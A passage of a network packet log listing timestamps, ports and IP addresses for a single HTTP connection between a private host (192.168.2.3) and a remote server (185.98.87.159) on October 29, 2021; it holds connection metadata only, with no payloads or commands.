Oct 29, 2021 20:29:07.373708963 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373730898 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373756886 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373766899 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373771906 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373775005 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373781919 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373805046 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373827934 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373851061 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373887062 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373892069 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373894930 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.373917103 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.373940945 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.374233961 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.374294996 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.374320030 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.374346972 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.374361038 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.374372005 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.374460936 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.375073910 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.375099897 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.375169039 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.375173092 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.375193119 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.375247002 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.424504995 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424536943 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424561977 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424585104 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424607992 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424643040 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424680948 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424701929 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.424721003 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.424721003 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424746037 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424767971 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424819946 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.424834967 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.424885035 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424910069 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.424959898 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425004959 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425076008 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425087929 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425124884 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425164938 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425188065 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425211906 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425235033 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425285101 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425312996 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425352097 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425355911 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425364017 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425367117 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425374031 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425395966 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425420046 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425441027 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.425476074 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425481081 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.425484896 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426040888 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426064968 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426086903 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426107883 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426157951 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426165104 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426171064 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426196098 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426224947 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426248074 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426292896 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426302910 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426532984 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426557064 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426578999 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426601887 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426620007 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426650047 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426664114 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426687002 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426711082 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426835060 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426856995 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.426856995 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426862955 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.426865101 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.427083015 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.427129984 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.427154064 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.427176952 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.427196980 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.427211046 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.427216053 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.476897955 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.476929903 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.476952076 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.476973057 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.476995945 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477020025 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477044106 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477068901 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477099895 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477117062 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477122068 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477144003 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477148056 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477178097 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477453947 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477482080 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477504015 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477525949 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477529049 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477552891 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477576017 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477601051 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477606058 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477626085 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477650881 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477674961 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477699995 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477720022 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477725029 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477725983 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477730036 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477749109 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477773905 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477797985 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477821112 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.477859974 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477864981 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.477869034 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478200912 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478229046 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478252888 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478274107 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478296995 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478316069 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478318930 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478321075 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478342056 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478364944 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478408098 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478463888 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478754997 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478785992 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478806973 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478847980 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478871107 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478892088 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478894949 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478899956 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.478913069 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478935003 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.478995085 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.479011059 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.479425907 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.479455948 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.479479074 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.479501963 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.479523897 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.479547024 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.479590893 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.479604006 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.479609013 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529256105 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529294014 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529316902 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529339075 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529357910 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529361010 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529376984 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529386044 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529412985 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529436111 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529491901 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529498100 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529599905 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529627085 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529650927 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529678106 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529690981 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529701948 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529725075 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529748917 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529752016 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529781103 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529804945 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529828072 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529851913 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529853106 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529858112 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.529872894 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529934883 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529958010 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.529982090 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530004025 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530004978 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530011892 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530018091 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530073881 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530112982 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530245066 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530266047 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530270100 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530272961 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530294895 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530314922 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530384064 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530386925 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530433893 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530437946 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530567884 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530597925 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530622005 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530647039 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530662060 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530669928 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530685902 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530715942 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530745029 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530776978 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530790091 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530803919 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530841112 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530858040 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530874014 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530875921 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530879974 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530883074 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.530886889 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530901909 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530940056 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.530997038 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531011105 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531016111 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531033039 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531033993 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531047106 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531059980 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531076908 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531102896 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531135082 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531138897 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531143904 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531148911 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531162977 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531181097 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531196117 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531223059 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531239033 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531244040 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531245947 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531249046 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531269073 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531295061 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531321049 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531367064 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531388998 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531411886 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531413078 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531418085 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531421900 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531435013 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531461000 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531501055 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531518936 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531533957 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531548977 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531550884 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531557083 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531563997 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531572104 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531590939 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531613111 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531616926 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531641960 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531670094 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531696081 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531722069 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531723022 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531728029 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531747103 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.531836987 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.531841993 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532018900 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532098055 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532124996 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532150030 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532152891 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532193899 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532221079 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532237053 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532262087 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532285929 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532310009 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532332897 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532335997 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532349110 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532407045 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532424927 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532449961 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532474041 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532496929 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532520056 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532543898 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532567978 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532587051 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532592058 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532593012 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532594919 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532649040 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532672882 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532711029 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532752991 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532769918 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532777071 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532778025 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532809019 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532831907 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532910109 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532933950 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532957077 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532979012 CEST	80	49803	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:07.532980919 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532988071 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532994032 CEST	49803	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:07.532998085 CEST	49803	80	192.168.2.3	185.98.87.159
